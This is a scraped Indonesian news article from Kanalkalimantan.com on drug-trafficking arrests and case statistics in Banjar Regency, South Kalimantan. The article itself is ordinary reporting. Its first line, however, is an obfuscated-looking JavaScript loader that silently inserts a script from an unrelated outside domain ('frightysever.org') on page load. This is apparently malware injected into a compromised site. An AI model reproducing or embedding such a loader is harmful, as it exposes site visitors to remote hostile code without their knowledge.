(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kabupaten Banjar, Provinsi Kalimantan Selatan, menghadapi tantangan serius terkait peredaran gelap narkotika. Meskipun terdapat penurunan tren pengedaran gelap narkoba hingga Juli 2023, sebanyak 20 kecamatan di Kabupaten Banjar tergolong daerah rawan peredaran gelap narkoba.
Menurut laporan Polres Banjar, terjadi penurunan jumlah kasus narkotika jika dibandingkan dengan tahun 2021 yang mencapai 126 kasus. Namun, pada tahun 2022 angka tersebut meningkat menjadi 146 kasus.
Hingga saat ini, melalui Operasi Anti Narkotika (Antik) Intan 2023, Satresnarkoba bersama tim berhasil menemukan 29 kasus narkotika yang sebagian besar terkait dengan peredaran gelap.
Kapolres Banjar AKBP Ifan Hariyat Taufik mengatakan hampir seluruh wilayah dari 20 kecamatan di Kabupaten Banjar tercatat sebagai daerah rawan peredaran gelap narkoba. Begitu diungkapkan dalam gelaran perkara yang dilaksanakan Polres Banjar, Rabu (5/7/2023) siang, di halaman Mapolres Banjar.
Dalam operasi ini, polisi berhasil menangkap total 32 tersangka di 13 tempat kejadian perkara (TKP) berbeda di Kabupaten Banjar. Para tersangka terlibat dalam kegiatan perdagangan narkoba, pengedaran, dan beberapa diantaranya bahkan beralih profesi menjadi kurir untuk penjualan narkotika.
“Dari hasil pengembangan itu nanti kita pastinya mengarah ke bandar maupun di atasnya,” jelas Kapolres Banjar. Pihak kepolisian masih melakukan pengembangan lebih lanjut terkait penemuan kasus ini.
Kapolres juga menjelaskan dari 32 tersangka tersebut, 9 diantaranya merupakan residivis dengan kasus yang sama. Selain itu, terdapat satu tersangka perempuan dan satu anak di bawah umur yang terlibat dalam peredaran gelap narkoba.
Modus operandi yang digunakan para tersangka adalah dengan menyimpan barang dan berpindah-pindah tempat. Mereka umumnya berusia di atas 36 tahun dan tidak memiliki pekerjaan tetap, sehingga menjadikan alasan ekonomi sebagai faktor utama dalam terlibatnya mereka dalam peredaran gelap narkoba.
Dalam upaya menanggulangi peredaran gelap narkoba, pihak kepolisian gencar melakukan sosialisasi kepada masyarakat, terutama kepada anak-anak dan remaja, agar menjauhi barang haram tersebut. Sosialisasi dilakukan melalui kegiatan yang melibatkan kecamatan secara berkala, dengan fokus pada wilayah yang menjadi titik transaksi pengedaran narkotika, terutama di kalangan pelajar sekolah.
Kesadaran dan partisipasi aktif masyarakat di Kabupaten Banjar diharapkan dapat membantu pihak kepolisian dalam memberantas peredaran gelap narkoba dan melindungi generasi muda dari bahaya narkotika. (Kanalkalimantan.com/wanda)
Reporter : Wanda
Editor : Rdy
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More
This website uses cookies.